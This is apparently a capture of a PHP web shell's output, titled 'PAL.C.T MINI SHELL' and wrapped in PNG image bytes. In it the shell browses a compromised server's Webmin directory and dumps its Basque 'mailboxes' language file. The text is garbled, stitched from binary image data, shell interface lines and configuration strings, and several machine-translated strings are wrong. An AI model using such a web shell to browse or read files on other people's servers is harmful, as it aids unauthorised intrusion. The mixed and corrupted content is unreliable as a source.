php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/eu.auto

index_title=Irakurri Erabiltzailearen posta
index_none=Ez duzu baimenik sistema honetako erabiltzaileentzako posta elektronikoa irakurtzeko.
index_header=Erabiltzaileen postontziak
index_empty=Ez dago posta
index_return=erabiltzaile zerrenda
index_esystem=Ez da onartzen zure sisteman posta elektronikoko zerbitzaririk (Exim, Qmail, Postfix eta Sendmail). <a href='$1'>moduluaren konfigurazioa</a> doitu beharko duzu posta zerbitzaria eta seguru asko posta bideak eskuz konfiguratzeko.
index_esystem2=<a href='$1'>moduluaren konfigurazioan ezarritako posta-zerbitzaria</a> ez da zure sisteman aurkitu. Konfigurazioa doitu beharko duzu zerbitzari egokia erabiltzeko.
index_esystem3=Errore bat gertatu da <a href='$1'> moduluaren konfigurazioan ezarritako posta-sistemarekin harremanetan: $2.
index_system6=Posta zerbitzaria: Exim
index_system5=Posta zerbitzaria: Qmail+VPopMail
index_system4=Posta zerbitzaria: Qmail+LDAP
index_system2=Posta zerbitzaria: Qmail
index_system1=Posta zerbitzaria: Sendmail
index_system0=Posta zerbitzaria: Postfix
index_toomany=Erabiltzaile gehiegi daude orrialde batean bistaratzeko.
index_find=Erabiltzaile izena erabiltzaileak aurkitu
index_equals=berdinen
index_contains=dauka
index_eperl=Hautatutako SMTP autentifikazio moduan beharrezkoa den Perl modulua $1 ez dago instalatuta edo ez dago menpeko modulurik. <a href='$2'>Egin klik hemen</a> orain instalatzeko.
index_file=Irakurri Posta Fitxategian edo Maildir-en:
index_nousers=Ez da erabiltzailerik aurkitu!
index_nousersmail=Ez da mezu elektronikorik aurkitu erabiltzaileak.

mail_title=Erabiltzailearen helbide elektronikoa
mail_from=aurrera
mail_date=data
mail_subject=Gaia
mail_to=to
mail_cc=cc
mail_bcc=Bcc
mail_pri=Lehentasuna
mail_highest=Highest
mail_high=High
mail_normal=normal
mail_low=Behe
mail_lowest=baxuena
mail_for=$1 -an
mail_for2=Erabiltzailearentzat $1
mail_sent=Bidalitako posta zerrendan
mail_size=Tamaina
mail_level=Puntuazioa
mail_delete=Ezabatu
mail_compose=Idatzi
mail_open=Open
mail_return=erabiltzailearen postontzia
mail_pos=$1 mezu $2 -ko $3 -ko $4 -ko mezuak
mail_none=Erabiltzaile honek ez du $1 mezuan mezuik
mail_ecannot=Ez duzu baimendu erabiltzaile honen posta elektronikoa irakurtzea
mail_all=Hautatu guztiak.
mail_invert=Alderantzizko hautapena
mail_nosort=Berrezarri sailkapena.
mail_search=Bilatu non mezuak
mail_body=Gorputzeko
mail_match=partiduak
mail_ok=Search
mail_nonefrom=Bat ere ez
mail_mark=Markatu:
mail_mark0=Irakurri gabeko
mail_mark1=Irakurri
mail_mark2=Berezia
mail_forward=Aurrera
mail_move=Mugitu:
mail_copy=Kopiatu:
mail_rfc=Lerrotik
mail_eexists=Mezua ez da jada!
mail_fchange=Aldaketa
mail_indexlink=Itzuli postontzira
mail_deleteall=Ezabatu guztiak
mail_black=Bidali igorleak
mail_white=Igorri bidaltzaileei
mail_whitemove=Baimendu bidaltzaileak eta Sarrerako ontzia
mail_efile=Ez da posta fitxategia existitzen
mail_fromsrch=Aurkitu igorle berarekin posta elektronikoa
mail_subsrch=Bilatu gai bera duen posta elektronikoa
mail_tosrch=Bilatu hartzailearekin posta elektronikoa
mail_fromfilter=Sortu iragazkia igorlearen arabera
mail_tofilter=Sortu iragazkia hartzailearen arabera
mail_subfilter=Sortu iragazkia gaiaren arabera
mail_unknown=ezezaguna

mail_sign=Saioa hasi teklarekin
mail_nosign=&lt;Ez sinatu&gt;
mail_crypt=Enkriptatu
mail_nocrypt=&lt;Ez enkriptatu&gt;
mail_samecrypt=&lt;Helbide helbideetako teklak&gt;
mail_addresses=Helbide liburua kudeatu
mail_folders=Kudeatu karpetak
mail_err=Errore bat gertatu da karpeta honetan posta elektronikoa zerrendatzean : $1
mail_loginheader=POP3 zerbitzariaren hasiera
mail_loginheader2=IMAP zerbitzariaren hasiera
mail_logindesc=Erabiltzaile-izena eta pasahitza sartu behar dituzu posta elektronikoko posta-zerbitzura sartzeko $1.
mail_loginuser=Erabiltzaile izena
mail_loginpass=Pasahitza
mail_loginmailbox=IMAP postontzia
mail_login=Saioa hasi
mail_reset=Garbitu
mail_logout=Aldatu POP3 hasiera
mail_logout2=Aldatu IMAP login
mail_sig=Editatu Sinadura
mail_jump=Hona jo :
mail_of=of
mail_replyto=Erantzun
mail_folder=karpeta
mail_delall=Ezabatu guztiak
mail_deltrash=Hutsa zakarrontzia
mail_search2=Bilatu:
mail_search3=Aurkitu goiko puntuazioarekin:
mail_advanced=Bilaketa aurreratua
mail_return2=Erabiltzailearen helbide elektronikoa
mail_esystem=Errore bat gertatu da posta-sistemarekin harremanetan: $1. Hori sistema-administratzaileak konpondu beharko du.
mail_selread=Hautatu irakurri.
mail_selunread=Hautatu irakurri gabe.
mail_selspecial=Hautatu berezia.
mail_specialsync=Sinkronizazio berezia

view_title=Irakurri posta elektronikoa
view_desc=$1 mezua $2 zerbitzuan
view_desc2=Mezua $1 erabiltzailearentzako $2
view_desc3=Mezua $1
view_sent=$1 mezua bidalitako mezuen zerrendan
view_qdesc=Ilaran dagoen mezua $1
view_headers=Posta goiburuak
view_body=Mezuaren edukia
view_nobody=Mezu honek ez du gorputz edukia.
view_allheaders=Ikusi goiburu guztiak
view_noheaders=Ikusi oinarrizko goiburuak
view_attach=eranskinak
view_afile=Eranskinaren izena
view_atype=Eranskin mota
view_aactions=Ekintzak
view_aview=ikusi
view_aopen=Open
view_asave=Save
view_aplain=Raw
view_anofile=Ez da fitxategi-izenik
view_asize=Fitxategiaren tamaina
view_reply=Erantzun
view_reply2=Guztiei erantzun
view_enew=Editatu berria gisa
view_forward=Aurrera
view_delete=Ezabatu
view_print=Inprimatu
view_strip=Kendu Eranskinak
view_ecannot=Ez duzu baimendu erabiltzaile honen posta elektronikoa irakurtzea
view_mark=Markatu:
view_mark0=Irakurri gabeko
view_mark1=Irakurri
view_mark2=Berezia
view_markas0=Irakurri gabeko
view_markas1=Irakurri
view_markas2=Berezia
view_return=jatorrizko posta elektronikoa
view_sub=Erantsitako posta elektronikoa
view_sub2=$1 -ko erantsitako mezu elektronikoa
view_egone=Mezu hau ez dago jada
view_eugone=Erabiltzaile hau ez da existitzen

view_gnupg=GnuPG sinadura egiaztatzea
view_gnupg_0=$1-k sinadura baliozkoa da.
view_gnupg_1=$1-ren sinadura baliozkoa da, baina ezin da konfiantza-katea ezarri.
view_gnupg_2=$1-ren sinadura <b>EZ</b> baliozkoa da.
view_gnupg_3=ID-gakoa $1 ez dago zure zerrendan, beraz ezin izan da sinadura egiaztatu.
view_gnupg_4=Ezin izan da sinadura egiaztatu : $1
view_crypt=GnuPG posta deszifratzea
view_crypt_1=Mezua enkriptatuta dago, baina GnuPG laguntza ez dago instalatuta.
view_crypt_2=Ezin izan da mezua deszifratu : $1
view_crypt_3=Posta ondo deszifratu da.
view_crypt_4=Zifratutako mezuen zatia ondo deszifratu da.
view_recv=<a href='$2'>Eskuratu tekla ID $1 gako zerbitzariaren</a> tik.
view_folder=Itzuli postontzira
view_dheader=Atxikitu zerbitzariaren eranskina
view_detach=Xehetasun fitxategia:
view_dall=&lt;Fitxategi guztiak&gt;
view_dir=fitxategi edo direktorio zerbitzarira:
view_black=Igorri Bidaltzailea
view_white=Onartu Bidaltzailea
view_whitemove=Baimendu bidaltzailea eta Sarrerako ontzia
view_razor=Salatu spam
view_ham=Salatu urdaiazpikoa
view_hammove=Salatu urdaiazpikoa eta sarrerako ontzia
view_razordel=Ezabatu Spam
view_dstatus=Huts egindako entrega egoera
view_dstatusok=Bidalketaren egoera egokia izan da
view_final-recipient=Azken hartzailea
view_diagnostic-code=Porrotaren arrazoia
view_remote-mta=Urruneko posta zerbitzaria
view_reporting-mta=Txostena posta zerbitzaria
view_astext=Ikusi testu gisa
view_ashtml=Ikusi HTML gisa
view_images=Erakutsi irudiak
view_raw=Ikusi mezu gordinak
view_aall=Gorde eranskin guztiak ZIP gisa.
view_aslideshow=Erakutsi irudi guztiak

compose_title=Idatzi posta elektronikoa

reply_title=Erantzun Posta elektronikora
forward_title=Birbidali posta elektronikoa
enew_title=Editatu helbide elektronikoa
reply_headers=Posta goiburuak
reply_attach=Birbidaliko eranskinak
reply_mailforward=Birbidalitako mezuak
reply_attach2=Bezeroaren eta zerbitzariaren alboko eranskinak
reply_attach3=Kargatutako eranskinak
reply_send=Bidali Posta
reply_ecannot=Erabiltzaile gisa ezin duzu posta elektronikoz bidali
reply_body=Mezuaren testua
reply_errc=Ezin izan da mezu elektronikoa kopiatu
reply_errm=Ezin izan da mezua mugitu
reply_return=idatzi posta
reply_efwdnone=Birbidalitako mezuetako bat ere ez dago
reply_dsn=Eskatu irakurri egoeraren jakinarazpena?
reply_del=Eskatu banaketaren egoera jakinaraztea?
reply_aboot=Gehitu hartzaileak helbide-liburuan?
reply_tabfrom=aurrera
reply_tabto=to
reply_tabreplyto=Erantzun-
reply_tabcc=cc
reply_tabbcc=Bcc
reply_tabsigning=Sinadura
reply_taboptions=Aukerak
reply_addattach=Gehitu eranskineko eremua.
reply_addssattach=Gehitu zerbitzariaren alboko eranskineko eremua.
reply_html0=Idatzi testua
reply_html1=HTML konposatu

reply_spell=Egiaztatu ortografia akatsak?
reply_draft=Gorde zirriborro gisa
reply_save=Gorde eta editatu

send_err=Ezin izan da posta bidaltzean huts egin
send_eto=Falta helbidean
send_efrom=Helbidea ez da falta
send_esubject=Posta elektronikoaren gaia falta da
send_title=Posta bidalita
send_title2=Posta gordeta
send_ok=Posta $1 (e) ra bidali da
send_sending=$1 helbidera mezuak bidaltzen
send_ecannot=Erabiltzaile gisa ezin duzu posta elektronikoz bidali
send_esmtp=SMTP komandoa $1 huts egin da : $2
send_eattach=Eranskinetan ezin da $1 kB tamaina gehiago.
send_eperms=Erabiltzaileak $1 ezin ditu $2 irakurri
send_eperms2=Ezin duzu $1 fitxategia bidali
send_epath=Sendmail exekutagarria $1 ez dago.
send_efile=Ezin izan da eranskina irakurri $1 : $2 
send_done=.. egin.

send_epass=Ezin duzu mezu bat sinatu zure pasahitza oraindik ez dagoelako konfiguratuta GnuPG moduluan.
send_esign=Ezin izan da mezua sinatu : $1
send_ekey=Ezin izan da giltza aurkitu helbide elektronikoa $1
send_ecrypt=Ezin izan da mezua enkriptatu : $1
send_eword=Misspelt hitza $1
send_eword2=Misspelt hitza $1 - zuzenketa posibleak $2
send_eline=$1 lerroan :
send_espell=Ortografiako akatsak aurkitu dira zure mezuan ..
send_draft=Posta $1 (e) ra bidali ezazu zirriborroen karpetan.
send_drafting=Mezuak gordetzea $1 posta-zirriborroen karpetan.
send_eattachsize=Posta eranskinak $1 byte-ren gehienezko tamaina gainditu zuen

delete_title=Ezabatu Posta
delete_rusure=Ziur zaude $1 hautatutako mezuak $2 ezabatu nahi dituzula? Baliteke denbora pixka bat igortzea posta elektronikoko fitxategi handi baterako. Ezabatzea amaitu arte, ez da beste ekintzarik egin behar.
delete_rusure2=Ziur mezu hau $1-tik ezabatu nahi duzula? Baliteke denbora pixka bat igortzea posta elektronikoko fitxategi handi baterako. Ezabatzea amaitu arte, ez da beste ekintzarik egin behar.
delete_ok=Ezabatu orain
delete_ecannot=Erabiltzaile honi posta elektronikoa ezabatzeko baimena duzu orain
delete_enone=Ez da posta elektronikoa hautatu ezabatzeko
delete_emnone=Ez da markarik hautatu markatzeko
delete_efnone=Ez da posta elektronikoz hautatuko birbidaltzeko
delete_ebnone=Ez da ukatuko posta elektronikoa hautatzeko
delete_ewnone=Ez da baimendutako posta aukeratu
delete_ernone=Ez da posta elektronikoz hautatuko spam gisa salatzeko
delete_ehnone=Ez da postarik hautatu urdaiazpiko gisa salatzeko
delete_emoveuser=Erabiltzailea ez dago posta elektronikora eramateko
delete_ecopyuser=Erabiltzailea ez dago posta mezuak kopiatzeko
delete_emovecannot=Ezin duzu mezuak zehaztutako erabiltzailera eraman
delete_ecopycannot=Ez duzu baimenik zehaztutako erabiltzaileari mezu elektronikoa kopiatzeko
delete_emovenone=Ez da posta aukeratu hautatuta mugitzeko
delete_ecopynone=Ez da posta elektronikoa hautatzeko kopiatzeko
delete_nobutton=Ez da botoia sakatu
delete_ereport=Ezin izan da spam gisa salatu : $1
delete_errc=Ezin izan da mezu elektronikoa kopiatu
delete_errm=Ezin izan da mezua mugitu

confirm_title=Berretsi Ezabatu
confirm_warn=Ziur al zaude $1 hautatutako mezuak karpeta honetatik ezabatu nahi dituzula?
confirm_warnf=Ziur al zaude hautatutako $1 mezuak karpetatik <b>$2</b> ezabatu nahi dituzula?
confirm_warn2=Zure postontziaren tamaina eta formatua direla eta, agian denbora hori behar da. Ezabatzea amaitu arte, ez da beste ekintzarik egin behar.
confirm_warn3=Ziur mezu hau ezabatu nahi duzula?
confirm_warn4=Ezabatzea amaitu arte, ez da beste ekintzarik egin behar.
confirm_ok=Ezabatu orain
confirm_warnall=Ziur al zaude karpeta honetako mezu guztiak ezabatu nahi dituzula?
confirm_warnallf=Ziur <b>$1</b> karpetaren mezu guztiak ezabatu nahi dituzula?

search_title=Bilaketaren emaitzak
search_ecannot=Ez duzu baimenik erabiltzaile honen mezu elektronikoa bilatzeko
search_ematch=Testua sartu behar duzu aurka egiteko.
search_escore=Spam puntuazio falta edo baliogabea
search_efield=Bilaketa mota bat aukeratu behar duzu.
search_ewhat=Ez da inolako testuarekin bat etorriko errenkadarako.
search_enone=Ez da bilaketa irizpiderik sartu
search_none=Ez da mezuik aurkitu.
search_results2=$1 mezu elektronikoekin bat datozen $2
search_results3=$1 mezuak ez datoz bat
search_results4=$1 mezuak zure bilaketarekin bat datozen mezuak
search_results5=$1 posta elektronikoarekin bat datozen mezuak $2 $3
search_msg2=$1 bilaketaren emaitzak
search_msg4=Bilaketaren emaitzak
search_msg5=Bilaketaren emaitza spam bidez puntuazioarekin $1
search_msg6=$2 eremuko bilaketa-emaitzak $2 eremuan
search_local=Tokiko karpetetan
search_all=Karpeta guztietan
search_limit=(azken $1 mezuetatik)
search_status=Egoerarekin
search_attach=Eranskinak izan behar al dituzu?
search_allstatus=Edozein
search_onestatus=Egoera bakarrik
search_latest=Bilatzeko mezuak
search_nolatest=Guztiak karpetan
search_latestnum=Azkena bakarrik
search_elatest=Bilatu beharreko mezu kopuru falta edo baliogabea
search_withstatus=, egoera $1 egoerarekin

folder_inbox=Sarrerako ontzia
folder_sent=Bidalitako mezuak
folder_drafts=Turkiarrak
folder_trash=Trash

detach_err=Ezin izan da fitxategia desblokeatu
detach_edir=Ez da sartu edo gordetzeko fitxategirik edo direktoriorik
detach_eopen=Ezin izan da ireki $1 : $2 
detach_ewrite=Ezin izan da $1 idazlean idatzi : $2
detach_title=Xehetasun fitxategia
detach_ok=Idatzi eranskina zerbitzariaren alboko fitxategian $1 ($2).

sform_title=Bilaketa aurreratua
sform_header=Posta elektronikoa bilatzeko aukera aurreratuak
sform_andmode=Irizpide modua
sform_and=Aurkitu beheko irizpide guztiak betetzen dituzten mezuak ..
sform_or=Aurkitu mezuak beheko irizpideekin bat datozen ..
sform_neg0=dauka
sform_neg1=ez dauka
sform_ok=Bilatu orain
sform_folder2=Bilatu karpeta (k)
sform_all=&lt;Karpeta guztiak&gt;
sform_local=&lt;Tokiko karpetak&gt;
sform_where=Non
sform_text=testua
sform_from=Noiztik: goiburua
sform_subject=Gaia: goiburua
sform_to=Nori: goiburua
sform_cc=Cc: goiburua
sform_bcc=Bcc: goiburua
sform_date=Data: goiburua
sform_body=mezuen gorputza
sform_headers=edozein goiburu
sform_allmsg=mezu osoa
sform_size=mezuen tamaina
sform_return=bilaketa-formulario aurreratua

find_enone=Ez da zure bilaketarekin bat egiten duten erabiltzaileak aurkitu
find_title=Bilaketaren emaitzak
find_results=$1 bilaketarekin bat datozen erabiltzaileak.
find_user=Erabiltzaile izena
find_real=Benetako izena
find_group=Group
find_home=Hasiera direktorio
find_size=Posta tamaina
find_incount=postak
find_sentcount=bidalia
find_fcount=Karpetak
find_in=$1 in $2

acl_none=Bat ere ez
acl_same=Izen bereko erabiltzailea
acl_all=guztiak
acl_read=Erabiltzaileak zeinen posta elektronikoa irakur daiteke
acl_users=Erabiltzaileak bakarrik
acl_userse=Guztiak erabiltzaileak izan ezik
acl_usersg=Taldeetako kideak
acl_from=Baimenduta helbideetatik
acl_any=Edozein helbide
acl_fdoms=Postontzia @ domeinuak
acl_faddrs=Zerrendatutako helbideak
acl_fdom=Edozein helbide @ domeinu
acl_fromname=Benetako izena From helbiderako
acl_apath=Mugatu fitxategiak eta programa direktoriora
acl_attach=Gehienezko eranskinen tamaina
acl_unlimited=Mugarik gabe
acl_sent=Dendan bidali mezu elektronikoa postontzian
acl_canattach=Zerbitzari alboko fitxategiak erantsi al ditzake?
acl_candetach=Fitxategiak deskonektatu al ditzake zerbitzarira?
acl_usersm=Erabiltzaileak bat datozenak
acl_asame=Erabiltzaile-izen bera
acl_usersu=UID barrutian
acl_sec=Bigarren mailako taldeak sartu?
acl_dir=Irakur ditzakezu posta fitxategiak direktorio batean
acl_dirauto=Erabaki automatikoki (edozein lekutan erabiltzaile guztiak ikusgai badaude, beste inon ez)

log_delmail=$2 mezuen $2 mezuak ezabatu dira
log_movemail=$1 mezuak $2 tik $3 ra mugitu ziren
log_copymail=$2 $3 mezuen kopiatuak
log_send=$1 helbidera bidali da posta
log_read=Irakurri posta elektronikoari $1 mezuak

emodified=Karpeta aldatu da azken aldiz ikusi zenetik! Itzuli <a href='$1'>posta-zerrendara</a> eta saiatu berriro.

razor_title=Spam gisa salatzea
razor_title2=Ham Hamar bezela salatzea
razor_report=Mezu hau Razor-i eta SpamAssassin spam-ak blokeatzen dituzten datu-baseei jakinaraztea ..
razor_report2=Hautatutako mezuak Razor eta SpamAssassin beste spam-blokeatzaile datu-baseei jakinaraztea ..
razor_report3=Hautatutako mezuak ez jakinaraztea Razor-i eta SpamAssassin-ek spam-blokeatzen dituen datu-baseei.
razor_done=.. egin
razor_err=.. huts egin du! Ikusi goiko errore mezua zergatik dagoen.
razor_moved=.. egin, eta karpeta $1 karpetara aldatu da.
razor_deleted=.. egin, eta ezabatu mezua ere.

ham_title=Ham Hamar bezela salatzea
ham_report=Mezu hau ez-spam gisa Razor eta beste SpamAssassin datu baseei jakinaraztea ..

black_title=Bidaltzailea ukatzen
black_done=$1 helbide elektronikoa SpamAssassin-ek ukatutako helbide zerrendara gehitu.
black_already=$1 helbide elektronikoa SpamAssassin-ek ukatutako helbideen zerrendan dago jada.

white_title=Bidaltzailea onartzen
white_done=$1 helbide elektronikoa gehitu dio SpamAssassin-ek onartutako helbideen zerrendari.
white_already=$1 helbide elektronikoa SpamAssassin-ek onartutako helbideen zerrendan dago jada.

ldap_emod=Perl modulua falta da $1 LDAPera konektatzeko
ldap_econn=Ezin izan da LDAP zerbitzarira konektatu $1 portu $2
ldap_elogin=Ezin izan da LDAP zerbitzariarekin lotu $1 gisa $2 gisa : $3
ldap_ehost=Ez da LDAP zerbitzaririk ezarri moduluen konfigurazioan
ldap_eport=Ez dago baliozko LDAP zerbitzariaren ataririk moduluen konfigurazioan
ldap_euser=Modulu konfigurazioan ez da LDAP saioa hasi
ldap_ebase=Ez da LDAP baseko DN ezarri moduluen konfigurazioan

delall_title=Ezabatu mezu guztiak
delall_rusure=Ziur mezu elektroniko guztia ezabatu nahi duzula $1-tik? $2 mezuak, guztira, $3 mezuak betiko ezabatuko dira.
delall_ok=Ezabatu orain

slide_title=Erantsitako irudiak
slide_prev=aurreko
slide_next=hurrengo

left_mail=Mail
left_search=Search:
left_folders=Kudeatu karpetak
left_addresses=Helbide liburu
left_prefs=Posta lehentasunak
left_forward=Birbidali posta elektronikoa
left_autoreply=Erantzun automatikoa
left_filter=Posta elektronikoko iragazkiak
left_pass=Aldatu pasahitza
left_sig=Editatu Sinadura
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`